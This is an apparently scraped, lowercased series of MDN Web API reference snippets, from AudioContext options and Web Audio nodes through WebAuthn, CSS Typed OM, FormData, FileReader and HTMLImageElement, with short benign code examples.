...the output from the microphone is then routed into the new biquad filter, and the filter's output is in turn routed to the audio context's destination.
... navigator.mediadevices.getusermedia ({audio: true, video: false}) .then(function(stream) { audio.srcobject = stream; audio.onloadedmetadata = function(e) { audio.play(); audio.muted = true; }; let audioctx = new audiocontext(); let source = audioctx.createmediastreamsource(stream); let biquadfilter = audioctx.createbiquadfilter(); biquadfilter.type = "lowshelf"; biquadfilter.frequency.value = 3000; biquadfilter.gain.value = 20; source.connect(biquadfilter); biquadfilter.connect(audioctx.destination); }) .catch(function(err) { // handle getusermedia() error }); specifications specification status comment web audio apithe definition of 'createmediastreamtracksource()' in that specification.
AudioContextOptions.sampleRate - Web APIs
the audiocontextoptions dictionary (used when instantiating an audiocontext) may contain a property named samplerate, which indicates the sample rate to use for the new context.
... the value must be a floating-point value indicating the sample rate, in samples per second, for which to configure the new context; additionally, the value must be one which is supported by audiobuffer.samplerate.
... if the samplerate property is not included in the options, or the options are not specified when creating the audio context, the new context's output device's preferred sample rate is used by default.
AudioNode - Web APIs
WebAPIAudioNode
the exact processing done varies from one audionode to another but, in general, a node reads its inputs, does some audio-related processing, and generates new values for its outputs, or simply lets the audio pass through (for example in the analysernode, where the result of the processing is accessed separately).
... // constructor const analysernode = new analysernode(audioctx, { fftsize: 2048, maxdecibels: -25, mindecibels: -60, smoothingtimeconstant: 0.5, }); // factory method const analysernode = audioctx.createanalyser(); analysernode.fftsize = 2048; analysernode.maxdecibels = -25; analysernode.mindecibels = -60; analysernode.smoothingtimeconstant = 0.5; you are free to use either constructors or factory methods, or mix both, however...
...you can find examples of such usage on any of the examples linked to on the web audio api landing page (for example violent theremin.) const audioctx = new audiocontext(); const oscillator = new oscillatornode(audioctx); const gainnode = new gainnode(audioctx); oscillator.connect(gainnode).connect(audioctx.destination); oscillator.context; oscillator.numberofinputs; oscillator.numberofoutputs; oscillator.channelcount; specifications specification status comment web audio apithe definition of 'audionode' in that specifica...
AudioTrackList - Web APIs
event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new audio track has been added to the media element.
... events addtrack fired when a new audio track has been added to the media element.
... removetrack fired when a new audio track has been removed from the media element.
AuthenticatorAttestationResponse.attestationObject - Web APIs
the attestationobject property of the authenticatorattestationresponse interface returns an arraybuffer containing the new public key, as well as signature over the entire attestationobject with a private key that is stored in the authenticator when it is manufactured.
... as part of the credentialscontainer.create() call, an authenticator will create a new keypair as well as an attestationobject for that keypair.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var attestationobj = newcredentialinfo.response.attestationobject; // this will be a cbor encoded arraybuffer // do something with the respons...
AuthenticatorAttestationResponse - Web APIs
the authenticatorattestationresponse interface of the web authentication api is returned by credentialscontainer.create() when a publickeycredential is passed, and provides a cryptographic root of trust for the new key pair that has been generated.
... authenticatorattestationresponse.attestationobject secure contextread only an arraybuffer containing authenticator data and an attestation statement for a newly-created key pair.
... examples var publickey = { challenge: /* from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16), name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var response = newcredentialinfo.response; // do something with the response // (sending it back to the relying party server maybe?) }).catch...
BiquadFilterNode() - Web APIs
the biquadfilternode() constructor of the web audio api creates a new biquadfilternode object, which represents a simple low-order filter, and is created using the audiocontext.createbiquadfilter() method.
... syntax var biquadfilternode = new biquadfilternode(context, options) parameters inherits parameters from the audionodeoptions dictionary.
... return value a new biquadfilternode object instance.
Body.arrayBuffer() - Web APIs
WebAPIBodyarrayBuffer
if you need to play ogg during downloading (stream it) - consider htmlaudioelement: new audio("music.ogg").play(); in getdata() we create a new request using the request() constructor, then use it to fetch an ogg music track.
... once getdata() has finished running, we start the audio source playing with start(0), then disable the play button so it can't be clicked again when it is already playing (this would cause an error.) function getdata() { source = audioctx.createbuffersource(); var myrequest = new request('viper.ogg'); fetch(myrequest).then(function(response) { return response.arraybuffer(); }).then(function(buffer) { audioctx.decodeaudiodata(buffer, function(decodeddata) { source.buffer = decodeddata; source.connect(audioctx.destination); }); }); }; // wire up buttons to stop and play audio play.onclick = function() { getdata(); source.start(0); play...
... function readfile(file) { return new response(file).arraybuffer(); } <input type="file" onchange="readfile(this.files[0])"> specifications specification status comment fetchthe definition of 'arraybuffer()' in that specification.
CSSKeywordValue.CSSKeywordValue() - Web APIs
the csskeywordvalue constructor creates a new csskeywordvalue object which represents css keywords and other identifiers.
... syntax var csskeywordvalue = new csskeywordvalue(val) parameters value sets or returns the value of the new csskeywordvalue.
... #myelement { display: flex; } <div id="myelement">check the developer tools to see the log in the console and to inspect the style attribute on this div.</div> let keyword = new csskeywordvalue('initial'); let myelement = document.getelementbyid('myelement').attributestylemap; myelement.set('display', keyword); console.log( myelement.get('display').value); // 'initial' console.dir( keyword ); specifications specification status comment css typed om level 1the definition of 'csskeywordvalue' in that specification.
CSSPositionValue.CSSPositionValue() - Web APIs
the csspositionvalue constructor creates a new csspositionvalue object which represents values for properties that take a position, for example object-position.
... syntax cvar csspositionvalue = new csspositionvalue(x, y) parameters x a position along the web page's horizontal axis.
... let somediv = document.getelementbyid('container'); let position = new csspositionvalue(css.px(5), css.px(10)); somediv.attributestylemap.set('object-position', position); console.log(position.x.value, position.y.value); // 5 10 ...
CSSUnitValue.CSSUnitValue() - Web APIs
the cssunitvalue() constructor creates a new cssunitvalue object which returns a new cssunitvalue object which represents values that contain a single unit type.
... syntax var cssunitvalue = new cssunitvalue() parameters value returns a double indicating the number of units.
... let pos = new csspositionvalue( new cssunitvalue(5, "px"), new cssunitvalue(10, "px")); specifications specification status comment css typed om level 1the definition of 'cssunitvalue' in that specification.
CSSUnparsedValue.CSSUnparsedValue() - Web APIs
the cssunparsedvalue() constructor creates a new cssunparsedvalue object which represents property values that reference custom properties.
... syntax var cssunparsedvalue = new cssunparsedvalue(members) parameters members an array whose values must be either a usvstring or a cssvariablereferencevalue.
... examples let value = new cssunparsedvalue( ['4deg'] ), values = new cssunparsedvalue( ['1em', '#445566', '-45px'] ); console.log( value ); // cssunparsedvalue {0: "4deg", length: 1} console.log( values ); // cssunparsedvalue {0: "1em", 1: "#445566", 2: "-45px", length: 3} specifications specification status comment css typed om level 1the definition of 'cssunparsedvalue' in that specification.
CSSUnparsedValue - Web APIs
constructor cssunparsedvalue.cssunparsedvalue() creates a new cssunparsedvalue object.
... cssunparsedvalue.keys() returns a new array iterator object that contains the keys for each index in the cssunparsedvalue object.
... cssunparsedvalue.values() returns a new array iterator object that contains the values for each index in the cssunparsedvalue object.
CanvasRenderingContext2D.beginPath() - Web APIs
the canvasrenderingcontext2d.beginpath() method of the canvas 2d api starts a new path by emptying the list of sub-paths.
... call this method when you want to create a new path.
... note: to create a new sub-path, i.e., one matching the current canvas state, you can use canvasrenderingcontext2d.moveto().
CanvasRenderingContext2D.stroke() - Web APIs
html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.rect(10, 10, 150, 100); ctx.stroke(); result re-stroking paths typically, you'll want to call beginpath() for each new thing you want to stroke.
... const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); // first sub-path ctx.linewidth = 26; ctx.strokestyle = 'orange'; ctx.moveto(20, 20); ctx.lineto(160, 20); ctx.stroke(); // second sub-path ctx.linewidth = 14; ctx.strokestyle = 'green'; ctx.moveto(20, 80); ctx.lineto(220, 80); ctx.stroke(); // third sub-path ctx.linewidth = 4; ctx.strokestyle = 'pink'; ctx.moveto(20, 140); ctx.lineto(280, 140); ctx.stroke(); result stroking and filling if you want to both stroke an...
... html <canvas id="canvas"></canvas> javascript const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); ctx.linewidth = 16; ctx.strokestyle = 'red'; // stroke on top of fill ctx.beginpath(); ctx.rect(25, 25, 100, 100); ctx.fill(); ctx.stroke(); // fill on top of stroke ctx.beginpath(); ctx.rect(175, 25, 100, 100); ctx.stroke(); ctx.fill(); result specifications specification status comment html living standardthe definition of 'canvasrenderingcontext2d.stroke' in that specification.
Using channel messaging - Web APIs
for example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into your main profile, or add new background music choices from the audio player onto the game?
... var input = document.getelementbyid('message-input'); var output = document.getelementbyid('message-output'); var button = document.queryselector('button'); var iframe = document.queryselector('iframe'); var channel = new messagechannel(); var port1 = channel.port1; // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for button clicks button.addeventlistener('click', onclick); // listen for messages on port1 port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('init', '*', [channel.port2]); } // post a messa...
...ge on port1 when the button is clicked function onclick(e) { e.preventdefault(); port1.postmessage(input.value); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; input.value = ''; } we start off by creating a new message channel by using the messagechannel() constructor.
ClipboardItem - Web APIs
constructor clipboarditem.clipboarditem() creates a new clipboarditem object, with the mime type as the key and blob as the value properties this interface provides the following properties.
... examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new clipboarditem.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method.
Console.group() - Web APIs
WebAPIConsolegroup
creates a new inline group in the web console log.
...to create a new nested block, call console.group().
... the console.groupcollapsed() method is similar, but the new block is collapsed and requires clicking a disclosure button to read it.
ConstantSourceNode() - Web APIs
the constantsourcenode() constructor creates a new constantsourcenode object instance, representing an audio source which constantly outputs samples whose values are always the same.
... syntax var constantsourcenode = new constantsourcenode(context, options); parameters context an audiocontext representing the audio context you want the node to be associated with.
... let audiocontext = new audiocontext(); let myconstantsource = new constantsourcenode(audiocontext, { offset: 0.5 }); note: the new constantsourcenode created by the constructor has a channelcount of 2.
ConstantSourceNode.offset - Web APIs
so you can change the value of offset by setting the value of constantsourcenode.offset.value: myconstantsourcenode.offset.value = newvalue; syntax let offsetparameter = constantaudionode.offset; let offset = constantsourcenode.offset.value; constantsourcenode.offset.value = newvalue; value an audioparam object indicating the a-rate value returned for every sample by this node.
...then we create a new constantsourcenode and make it the source for the two gain nodes' gainnode.gain values.
...the two gain nodes quickly adopt the new volume level.
ConvolverNode() - Web APIs
the convolvernode() constructor of the web audio api creates a new convolvernode object instance.
... syntax var convolvernode = new convolvernode(context, options) parameters inherits parameters from the audionodeoptions dictionary.
... return value a new convolvernode object instance.
ConvolverNode.buffer - Web APIs
syntax var audioctx = new audiocontext(); var convolver = audioctx.createconvolver(); convolver.buffer = myaudiobuffer; value an audiobuffer.
... example var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ...
... // grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
ConvolverNode.normalize - Web APIs
syntax var audioctx = new audiocontext(); var convolver = audioctx.createconvolver(); convolver.normalize = false; value a boolean.
... example var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var convolver = audioctx.createconvolver(); ...
... // grab audio track via xhr for convolver node var soundsource, concerthallbuffer; ajaxrequest = new xmlhttprequest(); ajaxrequest.open('get', 'concert-crowd.ogg', true); ajaxrequest.responsetype = 'arraybuffer'; ajaxrequest.onload = function() { var audiodata = ajaxrequest.response; audioctx.decodeaudiodata(audiodata, function(buffer) { concerthallbuffer = buffer; soundsource = audioctx.createbuffersource(); soundsource.buffer = concerthallbuffer; }, function(e){"error with decoding audio data" + e.err}); } ajaxrequest.send(); ...
DOMMatrix() - Web APIs
the dommatrix constructor creates a new dommatrix object which represents 4x4 matrices, suitable for 2d and 3d operations..
... syntax var dommatrix = new dommatrix([init]) parameters init optional a string containing a sequence of numbers or an array of numbers specifying the matrix you want to create, or a css transform string.
... var point = new dompoint(5, 4); var scalex = 2; var scaley = 3; var translatex = 12; var translatey = 8; var angle = math.pi / 2; var matrix = new dommatrix([ math.sin(angle) * scalex, math.cos(angle) * scalex, -math.sin(angle) * scaley, math.cos(angle) * scaley, translatex, translatey ]); var transformedpoint = point.matrixtransform(matrix); specifications specification status comment geometry interfaces module level 1the definition of 'dommatrix' in that specification.
DOMParser() - Web APIs
the domparser() constructor creates a new domparser object.
... syntax var parser = new domparser(); parameters none.
... return value a new domparser object.
DOMPoint - Web APIs
WebAPIDOMPoint
constructor dompoint() creates and returns a new dompoint object given the values of zero or more of its coordinate components and optionally the w perspective value.
... you can also use an existing dompoint or dompointreadonly or a dompointinit dictionary to create a new point by calling the dompoint.frompoint() static method.
... static methods dompoint.frompoint() creates a new mutable dompoint object given an existing point (or a dompointinit dictionary) which provides the values for its properties.
DOMPointReadOnly - Web APIs
there are two ways to create a new dompointreadonly instance.
... first, you can use its constructor, passing in the values of the parameters for each dimension and, optionally, the perspective: /* 2d */ const point = new dompointreadonly(50, 50); /* 3d */ const point = new dompointreadonly(50, 50, 25); /* 3d with perspective */ const point = new dompointreadonly(100, 100, 100, 1.0); the other option is to use the static dompointreadonly.frompoint() method: const point = dompointreadonly.frompoint({x: 100, y: 100, z: 50; w: 1.0}); constructor dompointreadonly() creates a new dompointreadonly object given the values of its coordinates and perspective.
... static methods dompointreadonly.frompoint() a static method that creates a new dompointreadonly object given the coordinates provided in the specified dompointinit object.
DOMQuad - Web APIs
WebAPIDOMQuad
constructor domquad.domquad() creates a new domquad object.
... methods domquad.fromrect() returns a new domquad object based on the passed set of coordinates.
... domquad.fromquad() returns a new domquad object based on the passed set of coordinates.
DOMRect.DOMRect() - Web APIs
WebAPIDOMRectDOMRect
the domrect() constructor creates a new domrect object.
... syntax var mydomrect = new domrect(x, y, width, height); parameters x the x coordinate of the domrect's origin.
... examples to create a new domrect, you could run a line of code like so: mydomrect = new domrect(0,0,100,100); // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrect()' in that specification.
DOMRectReadOnly() - Web APIs
the domrectreadonly() constructor creates a new domrectreadonly object.
... syntax const mydomrectreadonly = new domrectreadonly(x, y, width, height) parameters x the x coordinate of the domrectreadonly's origin.
... examples to create a new dompoint, you could run a line of code like so: const mydomrect = new domrectreadonly(0, 0, 100, 100) // running 'mydomrect' in the console would then return // domrect { x: 0, y: 0, width: 100, height: 100, top: 0, right: 100, bottom: 100, left: 0 } specifications specification status comment geometry interfaces module level 1the definition of 'domrectreadonly()' in that specification.
DataTransfer.effectAllowed - Web APIs
copy a copy of the source item may be made at the new location.
... link a link may be established to the source at the new location.
... move an item may be moved to a new location.
DataTransferItem.webkitGetAsEntry() - Web APIs
.appendchild(elem); if (item.isdirectory) { let directoryreader = item.createreader(); let directorycontainer = document.createelement("ul"); container.appendchild(directorycontainer); directoryreader.readentries(function(entries) { entries.foreach(function(entry) { scanfiles(entry, directorycontainer); }); }); } } scanfiles() begins by creating a new <li> element to represent the item being scanned, inserts the name of the item into it as its text content, and then appends it to the container.
...then a new <ul> is created and appended to the parent list; this will contain the directory's contents in the next level down in the list's hierarchy.
...any of them which are files are simply inserted into the list; any which are directories are inserted into the list and a new level of the list's hierarchy is added below, and so forth.
DirectoryEntrySync - Web APIs
so create the hierarchy by recursively adding a new path after creating the parent directory.
...the following creates a new directory called superseekrit in the root directory.
...thod overview directoryreadersync createreader () raises (fileexception); fileentrysync getfile (in domstring path, in optional flags options) raises (fileexception); directoryentrysync getdirectory (in domstring path, in optional flags options) raises (fileexception); void removerecursively () raises (fileexception); methods createreader() creates a new directoryreadersync to read entries from this directory.
Document.createDocumentFragment() - Web APIs
creates a new empty documentfragment into which dom nodes can be added to build an offscreen dom tree.
... syntax var fragment = document.createdocumentfragment(); value a newly created, empty, documentfragment object, which is ready to have nodes inserted into it.
... you can also use the documentfragment constructor to create a new fragment: let fragment = new documentfragment(); example this example creates a list of major web browsers in a documentfragment, then adds the new dom subtree to the document to be displayed.
Document.createProcessingInstruction() - Web APIs
createprocessinginstruction() generates a new processing instruction node and returns it.
... the new node usually will be inserted into an xml document in order to accomplish anything with it, such as with node.insertbefore.
... example var doc = new domparser().parsefromstring('<foo />', 'application/xml'); var pi = doc.createprocessinginstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); doc.insertbefore(pi, doc.firstchild); console.log(new xmlserializer().serializetostring(doc)); // displays: <?xml-stylesheet href="mycss.css" type="text/css"?><foo/> specifications specification status comment d...
Document.importNode() - Web APIs
if deep is set to false, then only externalnode is imported — the new node has no children.
...the new default value is false.
... example const iframe = document.queryselector("iframe"); const oldnode = iframe.contentwindow.document.getelementbyid("mynode"); const newnode = document.importnode(oldnode, true); document.getelementbyid("container").appendchild(newnode); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode().
Document.mozSetImageElement() - Web APIs
imageelement is the new element to use as the background corresponding to that image element string.
...it creates a new <canvas> with the width and height set to 100 pixels, then draws into it a 50 by 50 pixel square.
... once the canvas is drawn, document.mozsetimageelement() is called to set the background for any css using the id "canvasbg" as its background element id to be our new canvas.
DocumentTimeline.DocumentTimeline() - Web APIs
the documenttimeline() constructor of the web animations api creates a new instance of the documenttimeline object associated with the active document of the current browsing context.
... syntax var sharedtimeline = new documenttimeline(options); parameters options an object specifying options for the new timeline.
...this bit of code would start all the cats animating 500 milliseconds into their animations: var cats = document.queryselectorall('.sharedtimelinecat'); cats = array.prototype.slice.call(cats); var sharedtimeline = new documenttimeline({ origintime: 500 }); cats.foreach(function(cat) { var catkeyframes = new keyframeeffect(cat, keyframes, timing); var catanimation = new animation(catkeyframes, sharedtimeline); catanimation.play(); }); specifications specification status comment web animationsthe definition of 'documenttimeline()' in that specification.
Element.animate() - Web APIs
WebAPIElementanimate
the element interface's animate() method is a shortcut method which creates a new animation, applies it to the element, then plays the animation.
... replace overwrites the previous value with the new one.
... document.getelementbyid("tunnel").animate([ // keyframes { transform: 'translatey(0px)' }, { transform: 'translatey(-300px)' } ], { // timing options duration: 1000, iterations: infinity }); implicit to/from keyframes in newer browser versions, you are able to set a beginning or end state for an animation only (i.e.
Event() - Web APIs
WebAPIEventEvent
the event() constructor creates a new event.
... syntax new event(typearg[, eventinit]); values typearg this is a domstring representing the name of the event.
... example // create a look event that bubbles up and cannot be canceled const evt = new event("look", {"bubbles":true, "cancelable":false}); document.dispatchevent(evt); // event can be dispatched from any element, not only the document mydiv.dispatchevent(evt); specifications specification status comment domthe definition of 'event()' in that specification.
EventTarget() - Web APIs
the eventtarget() constructor creates a new eventtarget object instance.
... syntax var myeventtarget = new eventtarget(); parameters none.
... examples class myeventtarget extends eventtarget { constructor(mysecret) { super(); this._secret = mysecret; } get secret() { return this._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification.
ExtendableMessageEvent() - Web APIs
the extendablemessageevent() constructor creates a new extendablemessageevent object instance.
... syntax var extendablemessageevent = new extendablemessageevent(type, init); parameters type a domstring that defines the type of the message event being created.
... examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme = new extendablemessageevent('message', init); specifications specification status comment service workersthe definition of 'extendablemessageevent()' in that specification.
FetchEvent() - Web APIs
the fetchevent() constructor creates a new fetchevent object.
... syntax var fetchevent = new fetchevent(type, init); parameters type a domstring object specifying which event the object represents.
... resultingclientid read only a domstring containing the new clientid if the client changes as a result of the page load.
File.File() - Web APIs
WebAPIFileFile
the file() constructor creates a new file object instance.
... syntax new file(bits, name[, options]); parameters bits an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of such objects, that will be put inside the file.
... example var file = new file(["foo"], "foo.txt", { type: "text/plain", }); specifications specification status comment file api working draft initial definition ...
FileException - Web APIs
it extends the fileexception interface described in file writer and adds several new error codes.
...not for use in new websites.deprecated.
... not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use.
FileReader() - Web APIs
the filereader() constructor creates a new filereader.
... syntax var reader = new filereader(); parameters none.
... example the following code snippet shows creation of a filereader object using the filereader() constructor and subsequent usage of the object: function printfile(file) { var reader = new filereader(); reader.onload = function(evt) { console.log(evt.target.result); }; reader.readastext(file); } specifications specification status comment file api working draft initial definition ...
FileSystemEntry.getParent() - Web APIs
example this example renames the file specified by the variable fileentry to "newname.html".
... fileentry.getparent(function(parent) { fileentry.moveto(parent, "newname.html", function(updatedentry) { console.log("file " + fileentry.name + " renamed to newname.html."); }); }, function(error) { console.error("an error occurred: unable to rename " + fileentry.name + " to newname.html."); }); this is accomplished by first obtaining a filesystemdirectoryentry object representing the directory the file is currently located in.
...you can, however, create a simple helper function to adapt it, like this: function getparentpromise(entry) { return new promise((resolve, reject) => { entry.getparent(resolve, reject); }); } a similar approach can be taken elsewhere in the file and directory entries api.
FileSystemEntry.toURL() - Web APIs
this is done by exposing a new url scheme—filesystem:—that can be used as the value of src and href attributes.
...not for use in new websites.deprecated.
... not for use in new websites.
FileSystemFileEntry.createWriter() - Web APIs
function writetofileentry(entry, text) { entry.createwriter(function(filewriter) { let data = blob([text], { type: "text/plain" }); filewriter.write(data); }, function(fileerror) { /* do whatever to handle the error */ }); } the success callback for the createwriter() call takes the text which was passed in and creates a new blob object of type text/plain that contains the passed text.
...not for use in new websites.deprecated.
... not for use in new websites.see implementation notes.see implementation notes.
FileSystemFlags - Web APIs
note that these option flags currently don't have any useful meaning when used in the scope of web content, where security precautions prevent the creation of new files or the replacement of existing ones.
...instead, it must be possible for it to be created newly at call time.
... true false path exists the existing file or directory is removed and replaced with a new one, then the successcallback is called with a filesystemfileentry or a filesystemdirectoryentry, as appropriate.
FontFace.FontFace() - Web APIs
WebAPIFontFaceFontFace
the fontface() constructor creates a new fontface object.
... syntax var fontface = new fontface(family, source, descriptors); parameters family specifies a name that will be used as the font face value for font properties.
...it can have the following keys: family: family style: style weight: weight stretch: stretch unicoderange: unicode range variant: variant featuresettings: feature settings example async function loadfonts() { const font = new fontface('myfont', 'url(myfont.woff)'); // wait for font to be loaded await font.load(); // add font to document document.fonts.add(font); // enable font with css class document.body.classlist.add('fonts-loaded'); } specifications specification status comment css font loading module level 3the definition of 'fontface constructor' in that specific...
FormData.append() - Web APIs
WebAPIFormDataappend
the append() method of the formdata interface appends a new value onto an existing key inside a formdata object, or adds the key if it does not already exist.
... the difference between formdata.set and append() is that if the specified key already exists, formdata.set will overwrite all existing values with the new one, whereas append() will append the new value onto the end of the existing set of values.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can add key/value pairs to this using formdata.append: formdata.append('username', 'chris'); formdata.append('userpic', myfileinput.files[0], 'chris.jpg'); as with regular form data, you can append multiple values with the same name.
FormData.set() - Web APIs
WebAPIFormDataset
the set() method of the formdata interface sets a new value for an existing key inside a formdata object, or adds the key/value if it does not already exist.
... the difference between set() and formdata.append is that if the specified key does already exist, set() will overwrite all existing values with the new one, whereas formdata.append will append the new value onto the end of the existing set of values.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you can set key/value pairs on this using formdata.set: formdata.set('username', 'chris'); formdata.set('userpic', myfileinput.files[0], 'chris.jpg'); if the sent value is different than string or blob it will be automatically converted to string: formdata.set('name', 72); formdata.get('name'); // "72" specifications specification status comment...
FormData - Web APIs
WebAPIFormData
constructor formdata() creates a new formdata object.
... methods formdata.append() appends a new value onto an existing key inside a formdata object, or adds the key if it does not already exist.
... formdata.set() sets a new value for an existing key inside a formdata object, or adds the key/value if it does not already exist.
FormDataEvent() - Web APIs
the formdataevent() constructor creates a new formdataevent object instance.
... syntax new formdataevent(type[, formeventinit]); values type a domstring representing the name of the event.
... examples let fd = new formdata(); fd.append('test', 'test'); let fdev = new formdataevent('formdata', { formdata: fd }); for (let value of fdev.formdata.values()) { console.log(value); } specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
Guide to the Fullscreen API - Web APIs
in chrome and newer versions of opera however, no such warning is generated.
...not for use in new websites.deprecated.
... not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name.
GainNode() - Web APIs
WebAPIGainNodeGainNode
the gainnode() constructor of the web audio api creates a new gainnode object which an audionode that represents a change in volume.
... syntax var gainnode = new gainnode(context, options) parameters inherits parameters from the audionodeoptions dictionary.
... return value a new gainnode object instance.
GainNode - Web APIs
WebAPIGainNode
if modified, the new gain is instantly applied, causing unaesthetic 'clicks' in the resulting audio.
... number of inputs 1 number of outputs 1 channel count mode "max" channel count 2 (not used in the default count mode) channel interpretation "speakers" constructor gainnode() creates a new instance of a gainnode object.
... the below snippet wouldn't work as is — for a complete working example, check out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsou...
HTMLAudioElement - Web APIs
rect x="131" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlaudioelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor audio() creates and returns a new htmlaudioelement object, optionally starting the process of loading an audio file into it if the file url is given.
... examples basic usage you can create a htmlaudioelement entirely with javascript using the audio() constructor: var audioelement = new audio('car_horn.wav'); then you can invoke the play() method on the element audioelement.play(); a common gotcha is trying to play an audio element immediately on page load.
...this snippet copies the audio file's duration to a variable: var audioelement = new audio('car_horn.wav'); audioelement.addeventlistener('loadeddata', () => { let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio clip }) events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement.
HTMLCanvasElement.mozGetAsFile() - Web APIs
type optional a domstring which specifies the image file format to use when creating the new image file.
...then a new <img> element is created using the new data url.
...); var ctx = canvas.getcontext('2d'); ctx.fillstyle = 'rgb(200, 0, 0)'; ctx.fillrect(10, 10, 55, 50); ctx.fillstyle = 'rgba(0, 0, 200, 0.5)'; ctx.fillrect(30, 30, 55, 50); var link = document.getelementbyid('link'); link.addeventlistener('click', copy); } function copy() { var canvas = document.getelementbyid('canvas'); var f = canvas.mozgetasfile('test.png'); var reader = new filereader(); reader.readasdataurl(f); reader.onloadend = function() { var newimg = document.createelement('img'); newimg.src = reader.result; document.body.appendchild(newimg); } } window.addeventlistener('load', draw); specifications not part of any specification.
Image() - Web APIs
the image() constructor creates a new htmlimageelement instance.
... syntax var htmlimageelement = new image(width, height); parameters width the width of the image (i.e., the value for the width attribute).
... examples var myimage = new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification.
HTMLImageElement.crossOrigin - Web APIs
example in this example, a new <img> element is created and added to the document, loading the image with the anonymous state; the image will be loaded using cors and credentials will be used for all cross-origin loads.
... javascript the code below demonstrates setting the crossorigin property on an <img> element to configure cors access for the fetch of a newly-created image.
... const imageurl = "https://mdn.mozillademos.org/files/16797/clock-demo-400px.png"; const container = document.queryselector(".container"); function loadimage(url) { const image = new image(200, 200); image.addeventlistener("load", () => container.prepend(image) ); image.addeventlistener("error", () => { const errmsg = document.createelement("output"); errmsg.value = `error loading image at ${url}`; container.append(errmsg); }); image.crossorigin = "anonymous"; image.alt = ""; image.src = url; } loadimage(imageurl); html <div class="container"> <p>here's a paragraph.
HTMLImageElement.decode() - Web APIs
this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
... usage notes one potential use case for decode(): when loading very large images (for example, in an online photo album), you can present a low resolution thumbnail image initially and then replace that image with the full-resolution image by instantiating a new htmlimageelement, setting its source to the full-resolution image's url, then using decode() to get a promise which is resolved once the full-resolution image is ready for use.
... const img = new image(); img.src = 'nebula.jpg'; img.decode() .then(() => { document.body.appendchild(img); }) .catch((encodingerror) => { // do something with the error.
HTMLImageElement - Web APIs
h="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlimageelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor image() the image() constructor creates and returns a new htmlimageelement object representing an html <img> element which is not attached to any dom tree.
...when called without parameters, new image() is equivalent to calling document.createelement("img").
